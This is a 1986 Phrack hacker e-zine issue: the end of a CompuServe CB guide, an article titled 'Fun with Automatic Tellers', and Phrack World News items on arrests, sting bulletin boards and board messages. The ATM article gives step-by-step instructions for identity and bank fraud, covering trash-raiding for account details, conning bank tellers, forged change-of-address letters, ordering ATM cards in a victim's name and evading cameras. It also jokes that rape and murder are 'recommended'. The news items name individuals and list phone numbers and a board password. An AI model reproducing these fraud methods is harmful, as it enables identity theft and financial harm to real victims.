While on CB, look out for the 70000 IDs, and especially the 70006, or "wizard" numbers. The Wizard ids have some very special functions. The main one is called autogag, or /GAG. This allows the bearer of this ID to banish any user from the system, in a way. What it actually does is to keep the /GAGged person out of everyone's view. They will not show up on the /ust list, and anything they type will not show up on anybody else's screen. Kind of like a mute button on a television. The Chief of CIS security is Dan Pisker, and on CB he uses the handles "Dan'l", or "Ghost", with a 70000 id. Monitoring ‑‑ This is a very popular subject with the users of Compuserve, but when broken down, it is quite simple. CIS is capable of monitoring ANYTHING that is said on the system. This doesn't mean that they do, however. For /TALK to be monitored in a Forum or on CB, CIS must first have a court order...it is supposedly as illegal as tapping a phone line. This has been done before to catch some major hackers on the system. /SEN in a SIG is not supposedly monitorable....the status on it is the same as on /TALK. /SCR mode on CB or on a SIG is definitely monitorable, especially if the the /SCR key is typed on open channel. Keep /SCR conversations to a minimum. As far as anything else goes, anything said on open channel is quite definitely seen by SOMEBODY in the big chair up in Ohio. It would not surprise me at all if they hire people to go through CB Transcripts every day to look for that kind of thing. Also, when you are in COnference mode in a SIG, always check the /STAtus of the channel. If /STA EVER returns that there are more people on the channel you are on than the /USERS function does, then you can rest assured that the channel is being monitored.

Nodes ‑‑ When you log on through CIS, you are going through a node. The node takes the form of 3 letters, designating the site of the computer through which you are connecting through Compuserve. An example would be "NYJ" (New York City). There are some special nodes you should know about, though. Tymnet ‑ Anybody logging on through Tymnet will be assigned one of these nodes ‑ QAI, QAJ, QAK, QAC, QAM, QAN, QAO, QCA, QCB, QCC, QCE, QCF, QCH. This cannot identify where you are calling from, just that you are logging in through the Tymnet network.

Telenet ‑ QBA, QBC, QBD, QBG, QBF, QEN, QEI, QEP.

Also, another special node would be DB‑ (DBA, DBB, DBC, etc), which means that the user is logging on from Compuserve's Headquarters in Dublin. The way to tell what node somebody is in is by typing /UST on either CO mode on a SIG, or CB...the result is like this....

Job User Id Ch. Node Handle

‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑

1) 12 70003,1295 17 CSG Red Leather

2) 133 70006,1293 1s BAF Surf's Up!

3) 69 76703,1211 Tlk BOO JOE CUFFS

4) 22 70000,1959 30* DBA Pig

Now, you can tell something specific about each of these four people based on the info given above. Red is in Columbus, Ohio, and is on Channel 17. She is also a Compuserve Employee. Surf is in Bakersfield, California, and is a Customer service personnel. He is also using /SCRamble. Joe is in Talk, is a sysop on a SIG, and is in Boston, Massachusetts. This is the format for Talk on CB. Pig is on talk in a SIG, and is a security personnel from Dublin, Ohio. The format for showing if somebody is in /Talk is different on a SIG than in regular CB. Also, the /SEN command is not implemented on CB. Have fun with this...hope it helps. Distribute the file however you want, but make sure the credits stay at the bottom.

Fun with Automatic Tellers

==Phrack Inc.==

Volume One, Issue Eight, Phile #7 of 9

Fun with Automatic Tellers

by

+++The Mentor+++

Preface: This is not a particularly easy scam to pull off, as it requires either advanced hacking techniques (TRW or banks) or serious balls (trashing a private residence or outright breaking & entering), but it can be well worth your while to the tune of $500 (five hundred) a day. Laws that will be broken: Credit Fraud, Wire Fraud, Bank Fraud, Mail Fraud, Theft Over $200, Forgery, and possibly a few others in the course of setting the scheme up (rape and murder are optional, but recommended.) This all grew from an idea that Poltergeist had about a year ago before he turned fed on Extasyy, and Cisban Evil Priest (Android Pope) and myself were implementing it with great success before our untimely arrest and recruitment into the service of the State. It is risky, but no more so than some of the more elaborate carding routines floating around. The first step is to target your victim. The type person you are looking for is rich. Very rich.

Now, don't go trying to hit on J.P. Getty or Johnny Carson or someone who carries a high name recognition. This will just get you into trouble as everyone notices a famous person's name floating across their desk. Instead look for someone who owns a chain of hog feed stores or something discreet like that. We targeted a gentleman who is quite active in the silver market, owning several mines in South Africa and not wanting this to be widely known (he had no desire to be picketed.)

Next step, take out a p.o. box in this person's name. Extasyy wrote a good file on obtaining a box under a fake name, I don't know if it's still around. If not, there are several others out there. (Yeah, I know, this has already weeded out the weak of spirit. Anyone who has gotten this far without panic is probably going to get away with it.)

Now comes the fun part, requiring some recon on your part. You need to know some fairly serious details about this person's bank dealings. 1) Find out what bank he deals with mainly. This isn't too difficult, as a quick run through his office trash will usually let you find deposit carbons, withdrawal receipts, or *anything* that has the bank name on it.

2) Find out the account number(s) that he has at the bank. This can usually be found on the above‑mentioned receipts. If not, you can get them in TRW (easier said than done) or you can con them out of a hassled bank teller over the phone (Use your imagination. Talk slowly and understandingly and give plausible excuses ["I work for his car dealership, we need to do a transfer into his account"].) 2a) [optional] If you can, find out if he has an ATM (Automatic Teller) card. You don't need to know numbers or anything, just if a card exists. This can also be ascertained over the phone if you cajole properly.

3) Armed with this information, go into action. a) Obtain some nice (ivory quality) stationary. It doesn't have to be engraved or anything, but a $5 or $10 investment to put a letterhead with his initials or something on it couldn't hurt. But the most important thing is that it look good.

b) Type a nice letter to the bank notifying them of your address change. Some banks have forms you have to fill out for that sort of thing, so you need to check with the bank first (anonymously, of course). You will have to have a good copy of his signature on hand to sign all forms and letters (again, trash his office). c) Call the bank to verify the new address. d) IMMEDIATELY upon verifying the change of address, send a second letter. If he already has an ATM card, request a second card with the business name engraved in it be sent for company use. If he doesn't have an ATM card, the letter should request one for account number xxxxxx. Ask for two cards, one with the wife's name, to add authenticity. e) Go to the bank and ask for a list of all ATM's on the bank's network. Often the state has laws requiring *all* machines take *all* cards, so you'll probably be in good shape.

f) Await the arrival of your new card. The PIN (personal identification number) is included when they send out a card. After picking up the card, forget that you ever even *knew* where the p.o. box was, and make sure you didn't leave fingerprints.

g) Begin making the maximum daily withdrawal on the card (in most cases $500/day), using a different machine each time. Since many of these machines have cameras on them, wear a hat & jacket, or a ski mask to be really paranoid. To cut the number of trips you have to make in half, be at an ATM a few minutes before midnight. Make one $500 withdrawal right before midnight, and another one right after. This cuts down on the number of trips, but police or bank officials may spot the pattern and start watching machines around midnight. Use your own judgement. Conclusion: Before using the card, make sure that all fingerprints are wiped from it. Usually the first hint you will have that they have caught on to your scam is that the machine will keep the card. Also, avoid using machines in your own town unless it is a big city (Chicago, Milwaukee, Dallas, etc...).

Well, I hope this file has proved interesting. Of course, it is only intended for entertainment, and I heartily discourage anyone from even *thinking* about trying such a thing. Jail isn't fun, as I can testify. So I take no responsibility for the misapplication of this information. (But if someone else pulls it off, I wouldn't be averse to hearing about it...)

+++The Mentor+++

Phrack World News VII Part I

==Phrack Inc.==

Volume One, Issue Eight, Phile #8 of 9

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue Seven/Part One PWN

PWN PWN

PWN Compiled and Written by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

On The Home Front

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well lots of things have been happening around here in the past few weeks. For starters, I received a call from Ralph Meola. Apparently someone had left his secretary with a message that I had called. Prior to this, someone named Steve had left a message as well which Ralph had assumed was Slave Driver. He called Steve first, mainly to discuss the letter that was sent to him via PWN issue V. Well eventually he got around to calling me. Not too much was said, but he wanted to clear up some misconceptions about his encounter with Sigmund Fraud. Meola claims that he never threatened Sigmund Fraud about getting his account to Stronghold East. Futhermore, he claims only to have called him because SF had posted several AT&T Calling Cards on an unnamed west coast bbs. Sigmund Fraud still publicly claims that what he said originally was true, but privately admitted that he was lying.

Some other developments would include an imposter of myself who is running around on bulletin boards. Two of the boards that he is on include Elite Connection (303) and Green Galaxy (714). I have never called these boards and I advise the sysops to remove "my" accounts as this is not me.

On the lighter side, Metal Shop Private now has 20 Megs of online storage. The G‑phile library has been re‑installed including most of the files from Metal Shop AE and Metal Shop Private is once again the official Phrack distribution center.

Metal Shop AE is down for the time being because Cheap Shades has left for college, but he has since brought forth a new system known as the Quick Shop. All former MS AE members have been entered into QS's bbs log. Metal Shop Brewery has lost its modem and its hard drive is fried, so it will be gone for a while.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

>From TeleComputist Staff:

We apologize for the unoriginality of the free issue. The free issue was put out with the intentions of gaining the trust of the public and in doing so we neglected to come up with completely original material. However, future issues will be much shorter and contain only original information from the editor's themselves.

TeleComputist no longer consists of set writers and anyone may submit articles. Please note that if you submit an article, make sure that it has not been distributed or seen by anyone else, otherwise we will not accept it.

For subscription information and submission of articles;

TeleComputist Newsletter

P.O. Box 2003

Florissant, Missouri 63032

________________________________________

Boston Busts August 9, 1986

‑‑‑‑‑‑‑‑‑‑‑‑

A couple of weeks prior to the above date, Dr. Who came to visit Recent Change and The Clashmaster. Well, he apparently had cashed roughly 16 checks belonging to one John Martino (a man who lives down the street from him). Around August 4, 1986, Dr. Who and Telenet Bob were picked up in a store in North Adams, Massachusetts. They were trying to pass off another check.

The police were on the scene very shortly and they were taken in. Dr. Who told the police inspector about a PDP‑11/23 when asked about it. He had frauded this at Harvard University and told them that RC Modeler (also known as Recent Change) had it. They converged on a sleeping RC who confessed everything.

Dr. Who is being charged with 16 counts of theft.

RC Modeler is being charged with larceny & possibly as an accomplice to theft. Telenet Bob is being charged with 1 count of attempted theft.

Dr. Who and RC Modeler are reportedly out of the scene permanently and Dr. Who may be serving some prison time. Also, RC Modeler, when being questioned, was asked about Legion of Doom. This is VERY strange since we cannot figure out quite WHY this was asked.

Sysops are asked to clear their accounts form any bbs they were on.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is the interpretation of the same events as described by the Concord Journal. The real names of the phreaks involved have been censored.

Computer Theft Charge

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An 18‑year‑old Concord man was charged on August 5, 1986 with stealing a $3,300 computer [PDP‑11/23 with Venix software] from Harvard University and a portable stereo from an unknown store by using checks, police allege he knew to be forged, to pay for the items, police said.

RC Modeler, was charged with two counts of larceny over $100, police said. [Also, accessory to the crime, RC says.]

Police issued a warrant for RC's arrest after being tipped‑off by the North Adam's police that he had allegedly made purchases with checks they alleged to be stolen and forged.

North Adam's police, according to reports, arrested Doctor Who, of Lenox, MA. [and Telenet Bob], and charged him with using stolen and forged checks earlier this month. Police said Who told them about RC's purchases. They said Who wrote checks for the purchase of the computer equipment and the stereo for RC.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, RC might get off with 3 years of probation (including possible drug testing according to RC.). Dr. Who's court set is set for August 25, 1986. He will most likely be doing some prison time unfortunately. Please address all further questions to The Clashmaster.

Information Provided By The Clashmaster

________________________________________

Portrait Of The Typical Computer Criminal August 11, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

from PC Week Magazine

In studying the typical computer criminal, the National Center for Computer Crime Data, in L.A., may have recently shattered some common myths.

Rather than being some genius computer programmer, according to the center's recently published report, the typical computer criminal is just that: quite typical. He's most often a male, with an average age of 22, and if not, he's next likely to be 19. Chances are he's a programmer, but if that job description doesn't fit, he's most likely a student or an input clerk.

Less than 5% of the time, this criminal will be either unskilled or unemployed, and less than 2% of the time will he be a computer executive.

In more than 40% of the cases that the center studied, criminals stole money, and if cash wasn't their style, they split between stealing information or programs and damaging software.

For these crimes, 4/5ths of those caught had to pay a fine or do community service or both, or serve less than 6 months in jail. In close to 1/5th of the cases, the criminal's only punishment was to make restitution.

Some notes from Sally Ride:::Space Cadet

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pisses me off! How dare they suggest we are not GENIUS computer programmers! Oh wait a minute, I know why they screwed up the statistics! They haven't caught the geniuses, so we throw off the statistical skew since we're still free.

Also I think it's high time computer executives start accounting for their fair share of computer crime! They probably don't get in the statistics either since they pull off the really big money rip‑offs and it doesn't get published by the high power companies they work for so the public keeps faith in them.

Information Provided By Sally Ride:::Space Cadet

________________________________________

Dan Pasquale: Still Hostile or Ancient History? September 8, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some updated information on Sergeant Dan Pasquale (Fremont, CA Police Department) aka The Revenger here. Supposedly he has been calling Oryan QUEST on several occasions and filling in Oryan as to his plans on whom to bust. However, an investigation into the truth of this matter shows otherwise.

Most recently, Oryan QUEST informed me that Dan Pasquale was trying to gain information on The Yakuza. I told The Yakuza about this and had him call Dan himself to find out what was going on.

Apparently he had no idea of who he was and had no idea of what he was talking about. He just said he'd no idea what I was talking about. He also said that he'd heard about a Shooting Shark incident much like this one. The Rocker of Speed Demon Elite also has called him claiming a similar story. The weird thing is, he also claims to not have talked to Oryan QUEST since around the beginning of summer. [Please note that Shooting Shark and The Rocker have been disliked by Oryan QUEST for some time and that situation has not changed].

Dan seemed pretty lax, didn't get excited, and seemed like a decent person all around. He said he hadn't been on a board for at least 3 months and that board was a legit one at that. He concluded by saying he didn't know who or why these rumors were starting up.

Some last things to add, Dan said that he isn't into busting phreaks/hackers and all that stuff anymore. He just proved his point with Phoenix Phortress, took his raise, and got out of the deal. He is now teaching at the academy and is doing patrols. But, aside from that, he claims to have nothing at all to do with the modem world.

Information Provided By [%] The Yakuza [%]

Please refer to past issues of Phrack World News for more information on Dan Pasquale and/or Phoenix Phortress

________________________________________

Zigmond Exposed September 1, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finally after months of confusion and question, the truth about Daniel Zigmond is out. It would appear that Zigmond is not an on‑staff programmer at Carnegie Mellon University after all, but instead was a sort of part time worker there. Indeed, Daniel just graduated high school with the class of 1986 and currently attends the University of Pittsburgh this fall. He started part time work at CMU on April 1, 1984 (April Fools? Not this time).

He does have a book coming out on Lisp programming which is what he did at Carnegie Mellon. All of this information came from his boss at CMU. As for Amiga World, Daniel has submitted a few articles, but he isn't "on staff." This came from his Amiga World editor.

The reason there is nothing listed in his TRW account now is obvious since he is not old enough to have obtained credit cards, bought a car/house, or much of anything else.

Zigmond says he lied about his age because he thought he would get more respect. He thought that people would think he was a rodent if they knew he was only 17 years old.

Daniel Zigmond received(s) quite a lot of prank phone calls, including a bomb threat that brought the police to his house, and I ask everyone to stop. He tried to screw around with the phreak/hack community, but no damage was done. Its time to leave him alone because ragging serves no purpose.

As for his article...only time will tell, but the general idea is that he made that up too just so he could become involved with the phreak/hack community.

Information Provided and Researched by Lucifer 666

________________________________________

Maxfield Strikes Again August 20, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many of you probably remember a system known as "THE BOARD" in the Detroit 313 NPA. The number was 313‑592‑4143 and the newuser password was "HEL‑N555,ELITE,3" (then return). It was kind of unique because it was run off of an HP2000 computer.

On the Private Sector BBS (Sponsored by 2600 Magazine), Bill From RNOC had posted a list of numbers that were related to John Maxfield and while none of the numbers were anything close to the bbs number listed above, Bill reminded us that Maxfield was the proud owner of an HP2000 computer.

This started started several people (including Sally Ride:::Space Cadet and myself) thinking that there might be a connection. Using resources that I cannot reveal, I was able to prove that "THE BOARD" was indeed a Maxfield/BoardScan operation. I also had learned that the BBS number itself really had call forwarding to one of Maxfield's own numbers. On August 15, 1986 I made this knowledge semi‑public and warned Sally Ride:::Space Cadet and Ax Murderer (who lives locally to Maxfield). Unfortunately these warnings were in vain because on August 20, 1986 the following messages were found and sent to me by Sally Ride.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Welcome to MIKE WENDLAND'S I‑TEAM sting board! (Computer Services Provided By BOARDSCAN) 66 Megabytes Strong

300/1200 baud ‑ 24 hours.

Three (3) lines = no busy signals! Rotary hunting on 313‑534‑0400.

Board: General Information & BBS's

Message: 41

Title: YOU'VE BEEN HAD!!!

To: ALL

From: HIGH TECH

Posted: 8/20/86 @ 12.08 hours

Greetings:

You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the WDIV‑TV I‑Team. The purpose? To demonstrate and document the extent of criminal and potentially illegal hacking and telephone fraud activity by the so‑called "hacking community."

Thanks for your cooperation. In the past month and a half, we've received all sorts of information from you implicating many of you to credit card fraud, telephone billing fraud, vandalism, and possible break‑ins to government or public safety computers. And the beauty of this is we have your posts, your E‑Mail and‑‑‑ most importantly ‑‑‑your REAL names and addresses.

What are we going to do with it? Stay tuned to News 4. I plan a special series of reports about our experiences with THE BOARD, which saw users check in from coast‑to‑coast and Canada, users ranging in age from 12 to 48. For our regular users, I have been known as High Tech, among other ID's. John Maxfield of Boardscan served as our consultant and provided the HP2000 that this "sting" ran on. Through call forwarding and other conveniences made possible by telephone technology, the BBS operated remotely here in the Detroit area.

When will our reports be ready? In a few weeks. We now will be contacting many of you directly, talking with law enforcement and security agents from credit card companies and the telephone services.

It should be a hell of a series. Thanks for your help. And don't bother trying any harassment. Remember, we've got YOUR real names.

Mike Wendland

The I‑team

WDIV, Detroit, MI.

Board: General Information & BBS's

Message: 42

Title: BOARDSCAN

To: ALL

From: THE REAPER

Posted: 8/20/86 @ 12.54 hours

This is John Maxfield of Boardscan. Welcome! Please address all letter bombs to Mike Wendland at WDIV‑TV Detroit. This board was his idea.

The Reaper (a.k.a. Cable Pair)

Board: General Information & BBS's

Message: 43

Title: BOARDSCAN

To: ALL

From: AX MURDERER

Posted: 8/20/86 @ 13.30 hours

Hey guys, he really had us for awhile. For any of you who posted illegal shit, I feel sorry for you. I just can't wait to see his little news article. Cable Pair, do you have some sort of problem? If you've noticed, just about *everything* posted on this board is *legal*!!! So fuck off! You wanna get nasty? Well go ahead, call my house! Threaten me! HaHaHa, so what are you gonna do, take me to court for calling a bbs? Freedom of speech. YOU lose!

Ax Murderer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your guess is as good as mine as to what happens next. For those of you who are interested, Mike Wendland can be reached at WDIV‑TV, 313‑222‑0444, 313‑222‑0540, 313‑222‑5000, 313‑222‑0532.

Information Provided by

Ax Murderer/John Maxfield/Sally Ride:::Space Cadet/Knight Lightning and the PWN Special Investigation Team

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Maxfield is in general pretty proud of his efforts with THE BOARD. He says that a lot of the people that he voice verified should have known it was him. However, it is believed that he had a kid helping him do some of the validations.

According to John F. Maxfield the only reason this sting board was done was to show "What is currently happening in the phreak/hack community." He said no legal action will be taken at all, and besides, its fattened his "dossiers" on a lot of people!

________________________________________

PWN Quicknotes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is a bulletin board called Alpha Center in the 514 NPA (Canada) that is being run by a guy named Mike Holmes who is writing a book on the personalities of phreakers and hackers. Mike will ask for your real name, address, phone number and other things, but it is not completely required. The board is 300 baud only.

The name of the book is reported to be "Phreak me out!" and it is supposed to be "not about how to phreak or hack, but about hackers lives and their trials and tribulations." If you would like to find out more about this board or the book before calling, either contact Attila the Hun or leave Mike Holmes a message at his voice mailbox (214)733‑5283. For the general password contact anyone of the below contributors, myself or Taran King.

Information Provided By (8/1/86)

Attila The Hun/Ryche/Sticky Fingers/The Pyro

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

People in foreign countries will soon be able to have the benefits of our famous 800 (toll free) numbers. In place of the 800 number, foreign callers will dial 196. This will be followed by a unique prefix and the line number from the company's domestic 800 service.

It would work like this: 196‑NXX‑XXXX. AT&T will bill and record all these calls. This will give our overseas (and maybe Canada too) friends the opportunity to take advantage of the US toll network.

Information Provided By Sally Ride:::Space Cadet (8/1/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mountain States Telephone and Pacific North West Bell are trialing work stations to be used to allow operators to work from home via the personal computer. Mountain States Telephone has over 100 people in various occupations working from home now, while Pacific North West has just built one entire operating office equipped with IBMs and have several employees working remotely using the same technology.

Information Provided By Sally Ride:::Space Cadet (8/8/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Supposedly, Bug Byter, Soft Jock, Street Urchin, the Bandit, the Gray Elf, Sea‑Saw, and Quick Zipper have all were busted on August 5, 1986. It has also been reported that Street Urchin has to pay $7000 in restitution.

Information Provided By Silent Assault (8/8/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Commodore Hacker, Hackin Hank was busted for abusing MCI codes and had to pay a $2000 phone bill. He was caught after a person he called was called by MCI Investigations. This person got scared and told them everything he knew.

Information Provided By Red Baron (8/8/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following two phreaks were sentenced about 2 months prior to the date.

MOB RULES, who was busted for MF Scanning that he had done 2 years previous, got 90 days in jail, 360 hours of community service, and 5 years probation.

Video Vance has been given a flat 90 days in jail for being caught with 11 cases of dynamite.

Information Provided By <S><C><A><N><M><A><N> (8/8/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is a bulletin board in Australia with many users interested in learning to phreak and hack. They need experienced people to converse with. Tell the sysop that you are calling from America. The number is 61‑3‑509‑9611.

Information Provided By Mad Madness (8/14/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Shadow Hawk 1 was busted for hacking two RSTSs in Chicago. They acquired all of his printouts and disks with information on it. Info by Shadow Hawk 1. (8/11/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Prophet, formally of the PhoneLine Phantoms, was recently contacted by authorities for as yet unknown reasons. He has had his computer equipment confiscated, but as of this writing he has not been formally charged. And to clear up the rumor, I did not have anything to do with it.

Information Provided By Solid State (8/23/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some notes about Night Stalker's bust here, I haven't really talked much to him because his phone line is bugged, I could tell that much from all of the clicks that I heard after he had hung up while I was still on the line.

Some of the reasons that he may have been busted were that credit Card numbers were frequently posted on The Underground and two months ago a member of the Underground called the White House with a bomb threat and was later visited by the U.S. Secret Service. They knew this person had used illegal extenders and codes to make the call. They inquired to where he obtained them and he told them all about The Underground.

He is currently under surveillance, the Secret Service thinks he is transferring funds and have been following him and taking pictures, especially when he visited his bank. That's about all I know...end of the investigation.

Information Provided By Night Stalker

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the last week of July, Cyclone II mistakenly was playing with a local VAX and became a bit careless with his methods. He was caught. You may have noticed that he hasn't been calling around for quite awhile. He won't be until this mess is cleared up, which should be in the near future.

His computer was confiscated, as well as all of his files, papers, notes, and anything else the authorities could find that was illegal. He is laying low and would prefer not to receive too many calls.

Information Provided by Cyclone II (8/4/86)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For those of us that subscribe to Home Box Office (HBO), did any of you see the HBO movie, Apology? Well the movie was based on fact and being that Apology can be accessed from a phone line I feel that it could be considered as possibly having something to do with phreaking. This Apology differs a little from the movie, because with this one you can hear other people's Apology's as well including the statements made from two phreaks in the Southern Bell area.

These two phone phreaks/hackers/credit carders/anarchists as they described themselves apologized for all sorts of crimes including $200,000 phone bills to their phone company, bomb threats to their school, and prank calls to Hong Kong, Egypt, and London. One of the phreaks identified themselves as "The Cop." Just thought you might be interested to know about it...‑KL

Phrack World News VII Part II

==Phrack Inc.==

Volume One, Issue Eight, Phile #9 of 9

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue Seven/Part Two PWN

PWN PWN

PWN Compiled and Written by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

P‑80: Sting Board? August 28, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Below is a compilation of miscellaneous messages taken from the Communication/ Phreak section and the Elite user section of Pirate 80 Systems, a BBS run by Scan Man, also known as Scott Higgonbotham. Everything in []s are notes from Sally Ride and myself.

**********

******

******

******

******

**********

******

******

****** E I G H T Y

******

******

FOR THE SERIOUS COMMUNICATIONS HOBBYIST

WELCOME ABOARD

<><><><><><><

<> Knowledge is Power <>

<> Thomas Jefferson <>

<><><><><><><

[Enter: An up and coming young phreaker named Shawn.]

Msg#: 7284 *COMMUNICATIONS*

05/28/86 19:43:24 (Read 42 Times)

From: SHAWN

To: ALL

Subj: CODES

OK HERE WE GO 800 446 4462 SKYLINE (CODE: XXXXXXX) 800 626 9600 CODE (XXXXXXX)

800 222 4482 CODE (XXXXXX)

800 521 8400 CODE (XXXXXXXX)

800 227 0073 CODES (xxxxXxx X=0‑9)

METRO CODES: XXXXXX, XXXXXX, XXXXXX, XXXXXX, XXXXXX

PBX: 312 455 7287 (CODE XXXX+Y)

503 652 6016: ID: XXX,XXX PASS ****

later,

Shawn

[In the above message, the numbers were followed by codes that I have since censored out. This magazine will *NOT* publish codes.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[It's common knowledge that a BBS userlog must be blanked before a BBS can be used as a sting board. I've also heard that law enforcement officials have been trying to bust P‑80 and Scan Man for a long time, but have not been able to accomplish anything. Even the infamous Detective Dan Pasquale {See past issues of Phrack World News, "Phoenix Phortress Stings 7" and "Oryan QUEST Vs. Dan Pasquale"} and John Maxfield, head of BoardScan, are frustrated at being unable to deal with Scan Man. On June 20, 1986, or thereabouts, the following message appeared in the logon to P‑80;

"BI‑ANNUAL USERLOG CLEANUP IN EFFECT. ALL MEMBERS PLEASE RE‑LOGIN AS A NEW USER..."]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 7870 *COMMUNICATIONS*

06/20/86 22:04:41 (Read 50 Times)

From: ICARUS 1

To: ALL

Subj: TMC BUST

TMC has just nailed a hacker associate of mine for $935. The destination numbers were called and someone spilled their guts. The guy who got busted is worried because the Alliance bills have not come in yet. TMC users beware. Make sure your friends are amnesiacs as the phreaker's bible says.

Icarus

[Some friendly advice from Icarus 1, too bad not everyone heeded the message.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 7894 *COMMUNICATIONS*

06/21/86 19:44:09 (Read 44 Times)

From: ICARUS 1

To: SCAN MAN (Rcvd)

Subj: REPLY TO MSG# 7870 (TMC BUST)

He was busted by TMC in the state of Nebraska.

Icarus

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 7898 *COMMUNICATIONS*

06/21/86 20:43:10 (Read 43 Times)

From: MAX MADDNESS

To: ICARUS 1 (Rcvd)

Subj: REPLY TO MSG# 7870 (TMC BUST)

Hey check it out, I use TMC in Youngstown, Ohio (216‑743‑6533), but when TMC calls my phreak friends, they think the calls originate from Akron, Ohio which is 60 or so miles away. So when TMC calls and asks, "Do you know anyone in Akron?" people usually are honest and just say no. So even if I call +relatives, etc. usually I'm safe.

Max

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 7880 *COMMUNICATIONS*

06/21/86 05:30:37 (Read 51 Times)

From: THE FALCON

To: ALL

Subj: TMC

What is the number to TMC? I just want to know so that I'm sure not to use it. Oh well, thanx and later.

\_The Falcon_/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 7952 *COMMUNICATIONS*

06/23/86 13:06:23 (Read 44 Times)

From: SHAWN

To: ICARUS 1 (Rcvd)

Subj: REPLY TO MSG# 7870 (TMC BUST)

Well I told you guys a while ago that this would happen so stay away from them.

Icarus

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

